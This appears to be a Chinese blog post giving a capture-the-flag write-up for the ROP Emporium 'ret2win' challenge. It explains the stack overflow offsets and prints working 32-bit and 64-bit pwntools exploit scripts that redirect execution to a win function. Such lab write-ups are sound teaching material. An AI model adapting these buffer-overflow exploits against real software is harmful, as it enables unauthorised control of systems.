ret2win

32位

checksec,开了NX



ida,f5



进入 pwnme() 函数,找溢出点,看到s距ebp的偏移为0x28,需要再写入4个字节(32位)才能覆盖ebp

程序中出现 ret2win() 函数,即需要控制程序跳转到 ret2win() 函数来进入 system() 函数



通过ida可以看到 ret2win() 函数的地址为0x08048659

exp
#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *

sh = process('./ret2win32')
ret2win32 = 0x08048659
payload = 'A' * 0x28 
payload += p32(0) 
payload += p32(ret2win32)
sh.sendline(payload)
sh.interactive()

64位
(思路与32位一致)
checksec,开了NX


ida,f5,进入 pwnme() 函数,看到s距ebp的偏移为0x20,需要再写入8个字节(64位)才能覆盖ebp

找到 ret2win() 函数的地址为0x00400811

exp

#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *

sh = process('./ret2win')
ret2win = 0x00400811
payload = 'A' * 0x20
payload += p64(0)
payload += p64(ret2win)
sh.sendline(payload)
sh.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 32位: IDA打开,进入pwnme,很容易找到溢出点 程序中已经有ret2win函数,在ret2win函数中发现...
    Queen_耳又又阅读 425评论 0 0
  • ROP Emporium : https://ropemporium.com/ 放到IDA很容易就找到溢出点 有一...
    n0va阅读 534评论 0 0
  • 思路WP 提示:网上有不少当作32位写的WP,都出现了问题,无法成功cat flag,只有运用ROP的才能成功。 ...
    chenmuxin阅读 614评论 0 0
  • 2019年3月1日星期五(农历正月二十五)天气晴 今天是3月份的第一天,也是我坚持诵读《父母规》满200天的日子。...
    wzy知足常乐阅读 196评论 0 2
  • 我总结一下我今天的工作内容 1.昨天安排做视频队员敏敏,利用中午时间去学习了溶图,并且在小组里面分享做法给其他队友...
    小雨baby66777阅读 235评论 0 0